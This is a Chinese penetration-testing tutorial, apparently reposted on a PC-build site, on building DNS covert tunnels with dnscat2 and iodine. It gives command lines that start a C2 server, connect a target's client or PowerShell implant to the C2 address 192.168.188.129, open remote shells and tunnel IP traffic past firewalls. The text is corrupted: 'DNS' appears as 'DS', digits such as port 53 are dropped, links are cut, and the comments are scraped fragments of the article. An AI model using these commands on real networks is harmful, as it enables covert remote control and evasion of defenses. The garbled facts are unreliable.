您现在的位置是:首页 > 编程 > 

内网渗透之DS隧道构建使用

2025-07-19 00:21:39
内网渗透之DS隧道构建使用 协议介绍DS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,虽然激增的DS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DS、ICMP、HTTP/HTTPS等难以被禁用的协议已经成为攻击者控制隧道的主流渠道在网络的世界中DS是一个不可缺少的服务,同时DS报文本身具有穿透防火墙的能力,由于防火墙

内网渗透之DS隧道构建使用

协议介绍

DS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,虽然激增的DS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DS、ICMP、HTTP/HTTPS等难以被禁用的协议已经成为攻击者控制隧道的主流渠道

在网络的世界中DS是一个不可缺少的服务,同时DS报文本身具有穿透防火墙的能力,由于防火墙和入侵检测设备大多都不会过滤DS流量,也为DS成为隐蔽隧道通信创造了条件,越来越多的研究表明,DS隧道在僵尸网络和APT攻击中扮演重要的角,用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器),C&C节点分为两种,分别是C&C服务器(攻击者)和C&C客户端(被控制端的计算器),C&C通信是指植入C&C客户端的木马或后门程序与C&C服务端上的远程控制程序之间的通信,正常的网络之间的通信都是在两台机器之间建立TCP连接后进行的,在进行数据通信时如果目标是IP地址,可以直接发送报文,如果目标是域名则会先将域名解析成IP地址再进行通信,两台机器建立连接后C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序让其收到控制,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况,很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断等操作,这样一来C&C通信就会被切断,于是通过各种隧道技术实现C&C通信的技术(特别是DS隧道技术)出现了

隧道介绍

DS隧道的工作原理很简单,在进行DS查询时如果查询的域名不在DS服务器本机的缓存中就会访问互联网进行查询然后返回结果,如果在互联网上有一台定制的服务器,那么依靠DS协议即可进行数据包的交换,从DS协议的角度来看这样的操作只是一次次地查询某个特定的域名并得到解析结果,但其本质问题是预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令,域名型DS隧道木马的通信架构,如下图所示:

在使用DS隧道与外部进行通信时从表面上看是没有连接到外网的(内网网关没有转发IP数据包),但实际上内网的DS服务器进行了中转操作,这就是DS隧道的工作原理,简单的说就是将其他协议封装在DS协议中进行传输,DS隧道原理图如下所示:

简易测试

首先我们需要知道当前服务器是否允许通过内网DS解析外部域名,也就是要测试DS的连通性,从下面的结果可以看到能够通过内部DS服务器解析到外部域名,这意味着可以使用DS隧道实现隐蔽通信:

DnsCat2
工具简介

DnsCat2是一筐开源软件,它使用DS协议创建加密的C&C通道通过预共享秘钥进行身份验证,使用Shell以及DS查询类型(TXT、MX、CAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2的客户端使用C语言编写,服务端使用Ruby语言编写,严格来说DnsCat2是一个命令与控制工具

应用场景

在内网安全工演练中DS隧道的应用场景如下:

在安全策略严格的内网环境中传统的C&C通信端口会被众多安全设备所监控,RedTeam对目标内网的终端进行渗透测试,发现该网段下只允许白名单流量出站同时其他端口都被屏蔽,传统的C&C通信无法建立,在这样的情况下Red Team还有一个选择——使用DS隐蔽隧道建立通信

工作模式

DnsCat2隧道提供了两种模式:

  • 直连模式:客户端直接向指定IP地址的DS服务器发起DS解析请求
  • 中继模式:DS经过互联网的迭代解析指向指定的DS服务器,这与直连模式相比中继模式的速度较慢

如果目标内网放行所有DS请求,dnscat2会使用直连模式通过UDP的5端口直接进行通信(不需要域名,速度快,而且看上去仍然像普通的DS查询),在请求日志中所有的域名都是以"dnscat"开头的,因此防火墙可以很容易地将直连模式的通信检测出来,如果目标内网中的请求仅限于白名单服务器或特定的域,dnscat2会使用中继模式来申请一个域名并将允许dnscat2服务端的服务器指定为受信任的DS服务器。

工具优点

DnsCat2通过DS进行控制与执行命令,与同类工具相比较,DnsCat2有以下优点:

  • 隐蔽通信
  • 流量加密
  • 支持多个会话
  • 使用密钥防止MITM攻击
  • 在内存中执行Powershell脚本
工具安装

首先安装依赖:

代码语言:javascript代码运行次数:0运行复制
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler

使用以下命令安装工具:

代码语言:javascript代码运行次数:0运行复制
git clone .git
cd dnscat2/server/
bundle install

编译生成客户端:

代码语言:javascript代码运行次数:0运行复制
cd dnscat2/client/
make
工具使用
启动服务

使用以下命令启动命令和控制服务器

代码语言:javascript代码运行次数:0运行复制
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.188.129" --no-cache
目标上线

从此处(/)直接下载Windows系统客户端编译版本之后从目标的命令提示符执行,唯一的要求是指定DS服务器以便与C2(命令和控制)服务器建立连接

代码语言:javascript代码运行次数:0运行复制
dnscat2-v0. --dns server=192.168.188.129

在服务端成功上线:

使用帮助

输入help查看使用帮助:

交互模式

之后输入"session -i 1"进入交互模式:

查看指令

输入help查看可用的指令:

代码语言:javascript代码运行次数:0运行复制
clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows
进入Shell

在服务端输入"shell"可以轻松获取一个shell,这同时会打开另外一个会话:

以下的输入将会出现在目标的命令提示符上:

命令执行

shell交互式较为快速且所有命令将通过DS流量传输,首先我们通过session转换到Session 2下:

之后执行命令:

调用程序

代码语言:javascript代码运行次数:0运行复制
其他功能

dnscat2也提供了其他功能,例如:文件上传、文件下载、关机、延迟等等,这里就不再多做演示了:

Powershell

Luke Baggett开发了一种PowerShell版植入物,已在blackhillsinfosec(/)网站上介绍和描述,这些命令是相同的,但添加了其他功能,例如:交互式PowerShell会话和直接从内存运行脚本的功能,需要从目标上的PowerShell会话执行以下命令

代码语言:javascript代码运行次数:0运行复制
PS C:\> start-Dnscat2 -Domain pentestlab -DSServer 192.168.188.129

同样会收到上线的主机(这里笔者重启了一次服务端,之前的会话已没有了,下面是新建的):

我们可以通过"exec psh"来创建一个powershell会话,之后通过session进行切换以此来进行交互:

Iodine
基本简介

碘的原子序数为5,二者恰好是DS的端口号,故该工具被命名为"iodine",iodin可以通过一套DS服务器制造一个IPv4的数据通道,特别适合在目标主机只能发送DS请求的网络环境中使用,iodine是基于C语言开放的,分为服务端程序iodined和客户端程序iodine

iodine特

iodine与同类工具相比较具备以下优点:

  • 支持16个并发连接
  • 支持强制密码机制
  • 支持多种DS记录类型
  • 不会对下行数据进行编码
  • 提供丰富的隧道质量检测措施
  • 支持多平台,包括Windows、linux、Mac OS等
  • 支持同网段隧道IP地址(不同于服务器——客户端网段)
模式介绍

iodine支持直接转发和中继两种模式

  • 直连模式:客户端直接向指定IP的恶意DS服务器发起DS解析请求
  • 中继模式:像我们平时上网一样,DS解析先经过互联网的迭代解析,最后指向我们的恶意DS服务器,相比直连速度较慢但是更安全
安装步骤

1、准备2台Linux机器,其中一台作为DS隧道的主控机,另外一台作为被控机

2、从 install以编译服务器和客户端二进制文件

、编译成功后把服务端扔到主控机上输入iodined --help验证是否安装成功

4、把客户端扔到被控机上,输入iodine --help验证是否安装成功

PS:Windows版本下载地址———/

使用步骤

在服务端机器上执行以下命令:

代码语言:javascript代码运行次数:0运行复制
iodined -f -c -P 12456 192.168.188.129 abc -DD

参数说明:

  • -f:在前台运行
  • -c:禁止检查所有传入请求的客户端IP地址
  • -P:客户端和服务器之间用于验证身份的密码
  • -D:指定调试级别,-DD指第二级别,"D"的数量随等级增加

在客户端机器上,执行以下命令:

代码语言:javascript代码运行次数:0运行复制
iodine -P 12456 -f -r -T TXT 192.168.188.129 abc

参数说明:

  • <your iodine server ip> 可选,表示不走DS服务商,直接向iodine服务端所在的服务器IP请求DS解析,即直连
  • -r由于iodine有时可能会自动切换DS隧道为UDP通道,故该参数作用是:强制在任何情况下使用DS隧道
  • -f 将使客户端保持在前台运行
  • -t 使用的DS类型

在正式使用过程中我们需要先设置域名(设置成功与否可以通过网站:/ 来查看),之后再根据以上步骤操作即可,笔者这里就不再赘述了,因为没有配置域名于此同时当客户端出现"Connectiong setup complete,transmitting data"提示信息时则表示DS隧道已经成功建立了,之后可以进行ping测试或者远程连接以及RDP远程连接等等

相关链接

/

推 荐 阅 读

横向移动之RDP&Desktop Session Hijack

本文参与 腾讯云自媒体同步曝光计划,分享自。原始发表:2025-01-22,如有侵权请联系 cloudcommunity@tencent 删除通信dns服务端服务器客户端

#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格

本文地址:http://www.dnpztj.cn/biancheng/1130565.html

相关标签:无
上传时间: 2025-07-18 17:32:48
留言与评论(共有 11 条评论)
本站网友 现在伦敦时间
9分钟前 发表
正常的网络之间的通信都是在两台机器之间建立TCP连接后进行的
本站网友 商务时间
2分钟前 发表
正常的网络之间的通信都是在两台机器之间建立TCP连接后进行的
本站网友 隐形眼镜的危害
7分钟前 发表
linux
本站网友 怎样去眼皱纹
22分钟前 发表
RedTeam对目标内网的终端进行渗透测试
本站网友 焦杨
10分钟前 发表
iodine是基于C语言开放的
本站网友 抗肿瘤
8分钟前 发表
Windows版本下载地址———/使用步骤在服务端机器上执行以下命令:代码语言:javascript代码运行次数:0运行复制iodined -f -c -P 12456 192.168.188.129 abc -DD参数说明: -f
本站网友 黑豆怎么吃最好
15分钟前 发表
Mac OS等 支持同网段隧道IP地址(不同于服务器——客户端网段)模式介绍iodine支持直接转发和中继两种模式直连模式:客户端直接向指定IP的恶意DS服务器发起DS解析请求 中继模式:像我们平时上网一样
本站网友 治疗痔疮偏方
1分钟前 发表
笔者这里就不再赘述了
本站网友 北京游戏学院
29分钟前 发表
URL等数据
本站网友 2013年考研人数
28分钟前 发表
分为服务端程序iodined和客户端程序iodineiodine特iodine与同类工具相比较具备以下优点:支持16个并发连接 支持强制密码机制 支持多种DS记录类型 不会对下行数据进行编码提供丰富的隧道质量检测措施支持多平台